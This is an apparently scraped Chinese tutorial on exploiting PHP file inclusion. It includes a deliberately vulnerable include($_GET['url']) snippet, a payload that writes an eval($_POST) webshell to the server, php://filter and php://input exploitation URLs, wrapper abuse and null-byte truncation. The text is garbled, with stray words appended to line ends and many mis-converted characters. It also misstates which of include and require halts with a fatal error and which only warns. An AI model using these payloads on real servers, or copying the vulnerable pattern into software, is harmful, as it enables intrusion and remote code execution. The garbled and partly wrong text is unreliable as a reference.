By : Mirror王宇阳php
E-mail : mirrorwangyuyang@gmail.comhtml
联系方式: 2821319009 (QQ)web
我的主页: https://www.cnblogs.com/wangyuyang1016/shell
文件包含是指一个文件里面包含另一个文件;开发过程当中,重复使用的函数会写入单独的文件中,须要使用该函数的时候直接从程序中调用该文件便可,这一个过程就是“文件包含”浏览器
因为文件包含的功能特性,致使客户端能够调用一个恶意文件,进行动态调用缓存
PHP提供了四个文件包含函数提供的功能强大且灵活多变,常常存在文件包含函数安全
include()
没法查到被包含的文件时产生错误"E_COMPLE_ERROR"中止运行bash
include_once()
和前者同样,若是文件中的代码已经包含了,则再也不会包含服务器
require()
没法查到被包含的文件是产生警告"E_WARNING"继续运行app
require_once()
和前者同样,没法查到被包含的文件是产生警告"E_WARNING"继续运行
<?php include("ArrayUtil.php"); //利用include函数包含 $arr = array("sougou","google","yahoo","baidu","FackBook"); PrintArr($arr); ?>
<?php function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){ foreach ($arr as $key => $value) { echo "$key $sp $value $lin"; } } ?>
在index.php文件中使用include
函数文件包含ArrayUtil.php文件,在index.php中可使用ArrayUtil.php文件中的PrintArr()函数;在index.php第4行咱们调用了PrintArr()函数。
使用浏览器访问index.php
<?php include("phpinfo.txt"); ?>
<?php phpinfo(); ?>
喏!一个txt文件被成功包含了;笔者测试了其它各类服务器可接受的文件格式,均实验成功!由此笔者获得的论证是:include()
函数包含的任何文件都会以PHP文件解析,但前提是文件的内容符合PHP代码规范;若内容不符合PHP代码规范则会在页面暴露文件内容(这是重点)
PHP不仅仅能够在服务端(本地)执行文件包含,也能够远程执行文件包含;
远程的文件包含执行须要修改PHP.ini配置文件(php默认关闭远程包含文件)
allow_url_include = on
因为咱们不具有远程条件,只好本地搭建环境将就一下哈!!!
D:\phpStudy\phpinfo.txt
<?php phpinfo(); ?>
127.0.0.1/index.php
<?php include("D:\phpStudy\phpinfo.txt"); ?>
换一个方法
<?php include($_GET['url']); ?>// 记住这个代码后面会一直使用
这里的URL参数值提交的只是一个远程包含文件的URL地址;远程文件包含和本地文件包含的解析方法同样,只要符合PHP代码规范就能够按照PHP代码解析执行。
若是咱们包含的文件不存在,则会发生Error,网站的路径就会暴露!
构造相似http://127.0.0.1/?url=.\phpinfo.txt
喏!咱们看见了文本内容,为何呢?
由于
include()
函数会执行文件包含,不论是什么格式的文件只要符合PHP代码规范的内容就会按照PHP解析;而不符合PHP代码规范的则会直接输出文件内容。
综合特性:利用该特性包含文件的方法,访问本地的其它文件均会执行php解析或者回显文本的内容;尤为是系统敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路径则须要结合其它姿式来得到(例如上面利用error回显的方式)
重要的一点:得具备文件的操做权限哦
远程包含文本的条件是 allow_url_fopen= on
建立shell.txt(功能:在服务端本地建立一句话木马脚本)
<?php $key= ("<?php @eval(\$_POST['mirror']);?>");//$符号须要转义要按字符存 $file = fopen("shell.php","w"); fwrite($file, $key); fclose($file); ?>
构造:http://127.0.0.1/?url=..\xx\shell.txt
远程包含文本执行成功后,服务端本地会建立一个"shell.php"一句话木马执行文件
shell.php建立后,使用“菜刀”链接一句话:
喏!包含执行文件建立本地一个shell.php一句话木马,而后菜刀连木马!一梭子搞定!
利用web应用的上传功能,上传一张伪木马图片,而后利用文件包含执行已上传的图片,而后伪木马图片的功能就是被包含执行后在服务端本地建立一个木马执行php文件
PHP内置不少的PHP封装协议(详细见官方文档),封装协议的功能和文件函数(fopen(),copy(),file_exists(),filesize())提供的功能类似
allow_url_fopen:on
默认开启 该选项为on即是激活了 URL 形式的 fopen 封装协议使得能够访问 URL 对象文件等。
allow_url_include:off
默认关闭,该选项为on即是容许 包含URL 对象文件等
考虑安全都是所有关闭
【引用官方文档】
访问本地文件系统
file://[本地文件的绝对路径和文件名]
访问各个IO流
须要开启 allow_url_include: on
php://stdin:直接访问PHP进程相应的输入或输出流(只读)
php://stdout:直接访问PHP进程相应的输入或输出流(只写)
php://stderr:直接访问PHP进程相应的输入或输出流(只写)
php://filter:进行任意文件读取的利用
php://input:访问请求的原始数据的只读流,将post请求中的数据做为php解析
php://output:只写的数据流,容许print和echo方式写入到输出缓存中
php://fd: 容许直接访问指定的文件描述符
更多详细能够参考官方php://协议文档
(zip:// , bzip2:// , zlib:// )属于压缩流,能够访问压缩文件中的子文件,更重要的是不须要指定后缀名
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
注意 井字符号 ’ # ‘ 在url中须要转为 %23
allow_utl_include= On
data://text/plain;base64,[string_base64加密后]
查询匹配的文件路径模式
glob://[url]
<?php // 循环 ext/spl/examples/ 目录里全部 *.php 文件 // 并打印文件名和文件尺寸 $it = new DirectoryIterator("glob://ext/spl/examples/*.php"); foreach($it as $f) { printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024); } ?>
处理交互式数据流(默认未开启,须要安装PECL—Expect扩展)
expect://command
参见文章:php伪协议实现命令执行的七种姿式
利用file://读取文件内容
file://[本地文件的绝对路径和文件名]
利用php://filter读取php文件内容
http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php
这里的结果是通过Base64加密的
使用php://input
能够执行PHP语句,可是受限于allow_utl_include= On
url text:
http://127.0.0.1/index.php/?url=php://input
Post data:
<?php phpinfo();?>
喏!利用“php://input"执行php代码”post data数据内容“,这里只是回显phpinfo(),若是咱们利用php://input执行服务端本地建立php一句话木马文件,后果可想而知
受限于allow_utl_include= On
php.ini配置
?file=[data://text/plain;base64,[base64编码加密的payload)]
注意没有php闭合标签
?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php
上面这张图是笔者从FREEBUF漏斗社区的文章中copy来的,算是一个不错的总结^_^
magic_quotes_gpc = off
函数为Off状态才可使用,由于在On状态下%00会被转义致使没法截断;https://www.cnblogs.com/timelesszhuang/p/3726736.htmlPHP6/7关闭了
magic_quotes_gpc
函数: PHP6\7关闭magic_quotes_gpc对程序的影响
文件包含的漏洞修复,尤为是include()
相关文件包含函数,只要限制后缀名就行了?
<?php if(iset($_GET['url'])){ include $_GET['url'].".php"; } else{ include 'home.php'; } ?>
上述程序就是固定限制后缀名,用户只须要指明文件名就能够,不须要用户提交后缀名
如今咱们利用以前的包含手段,包含"shell.php"文件
http://127.0.0.1/index.php/?url=shell.php
因为程序固定了文件后缀格式,因而在后台会构成
shell.php.php
而include()
没法查找到“shell.php.php”,故此致使报错
采用字节截断
http://127.0.0.1/index.php/?url=shell.php%00
PHP5.2+的版本渐渐的都修复了字节截断,因此不多有利用了
笔者不作过多的细节说明^_^